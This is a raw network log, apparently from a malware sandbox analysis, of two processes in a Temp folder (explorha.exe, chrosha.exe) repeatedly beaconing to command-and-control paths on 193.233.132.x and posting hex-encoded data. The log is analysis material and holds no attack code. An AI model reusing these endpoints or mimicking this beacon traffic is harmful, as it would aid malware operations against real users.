Apr 19, 2024 03:30:19.237154007 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:19.239578009 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:19.492469072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49932	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:19.071513891 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:19.320133924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49933	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:19.573605061 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:19.824693918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49934	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:19.846642971 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:20.090818882 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:20.091675997 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:20.341702938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49935	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:20.204092979 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:20.455960035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49936	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:20.694490910 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:20.943108082 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:20.949634075 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:21.202567101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49937	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:20.709148884 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:20.961416006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49939	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:21.324980974 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:21.572743893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49940	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:21.558029890 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:21.809206009 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:21.810395956 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:22.064507961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49941	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:21.820354939 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:22.067542076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49942	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:22.420603037 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:22.660533905 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:22.661830902 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:22.910242081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49943	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:22.427755117 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:22.672481060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49944	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:22.926250935 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:23.179841995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49945	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:23.332365990 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:23.573992968 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:23.575232983 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:23.820990086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49946	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:23.588937998 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:23.837496042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49947	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:24.092719078 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:24.348177910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49948	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:24.179438114 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:24.428349972 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:24.429516077 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:24.683850050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49949	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:24.712636948 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:24.960352898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

